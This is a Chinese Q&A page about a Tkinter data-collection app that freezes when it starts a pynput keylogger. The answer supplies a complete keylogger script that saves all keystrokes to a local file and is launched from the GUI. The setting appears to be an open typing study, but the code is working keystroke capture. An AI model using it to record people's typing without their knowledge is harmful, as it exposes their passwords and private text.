首页 > 解决方案 > 从 python 中的函数调用键盘记录器进入无响应状态

问题描述

我有一个 python 文件GUIApp.py,它创建一个Tkinter基于 GUI 的窗口,现在点击提交我想keylogger在后台启动和运行,记录输入的键。当我尝试调用该keylogger函数时,Tkinter窗口进入无响应状态并且不执行其余操作。下面是代码。请帮忙。

from tkinter import *
import pynput
import logging
from pynput.keyboard import Key as key,Listener

def typingActivity():
    keys = []

    log_dir = r"C:/Users/navesh/desktop/"
    logging.basicConfig(filename=(log_dir + "kLog.txt"), level=logging.INFO, format='%(asctime)s: %(message)s')

    def on_press(key):
        keys.append(key)
        # write_file(keys)
        logging.info("Pressed " + str(key))

    def on_release(key):
        # print('{0} released'.format(key))
        keys.append(key)
        logging.info("Released " + str(key))

    with Listener(on_press=on_press,
                  on_release=on_release) as listener:
        listener.join()

    typingAct = Tk()
    typingAct.title("Typing Activity")
    typingAct.geometry("1500x1500")
    userId = userTextbox.get()

    q1Label = Label(typingAct, text="1.    Why will you recommend this phone")
    q1Label.pack()

    q1Textbox = Entry(typingAct, width=90)
    q1Textbox.pack()

    log_dir = r"C:/Users/desktop/"
    logging.basicConfig(filename=(log_dir + userId+".txt"), level=logging.INFO, format='%(asctime)s: %(message)s')

root = Tk()
root.title("Data Collection")
root.geometry("1000x1000")

welcomeText = Text(root, height=20, width=50)
#welcomeText.configure('bold_italics', font=('Arial', 12, 'bold', 'italic'))
    #root, text="Open browser in desktop")
welcomeText.pack()
welcomeText.insert(END,"Welcome")

userLabel = Label(root, text="Enter UserID")
userLabel.pack()

userTextbox = Entry(root, width=30)
userTextbox.pack()`enter code here`

submitButton = Button(root, text ="Next", command=typingActivity)
submitButton.pack()

root.mainloop()

标签: pythonissue-trackingkeylogger

解决方案


创建两个脚本,一个是 GUI,另一个是键盘记录器脚本:

#GUI.py

import tkinter as tk  
import os 
import time
import pytesseract_capturer
  
top = tk.Tk()
  
  
top.geometry("200x50") 


 
def opening():
    os.system("keylogger.py") #this runs the script keylogger.py when you click capture(or mention the location where your keylogger is)
b = tk.Button(top,text = "quit",width=10, fg="red", command=quit)  
b.pack(side=tk.RIGHT)
a = tk.Button(top,text = "capture",width=10, fg="blue", command=opening)   

a.pack(side=tk.LEFT)


top.mainloop() 

键盘记录器.py


# keylogger using pynput module 
   
import pynput 
from pynput.keyboard import Key, Listener 
   
keys = [] 
   
def on_press(key): 
      
    keys.append(key) 
    write_file(keys) 
      
    try: 
        print('alphanumeric key {0} pressed'.format(key.char)) 
          
    except AttributeError: 
        print('special key {0} pressed'.format(key)) 
           
def write_file(keys): 
      
    with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
        for key in keys: 
              
            # removing '' 
            k = str(key).replace("'", "") 
            f.write(k) 
                      
            # explicitly adding a space after  
            # every keystroke for readability 
            f.write(' ')  
               
def on_release(key): 
                      
    print('{0} released'.format(key)) 
    if key == Key.esc: 
        # Stop listener 
        return False
   
   
with Listener(on_press = on_press, 
              on_release = on_release) as listener: 
                      
    listener.join() 


推荐阅读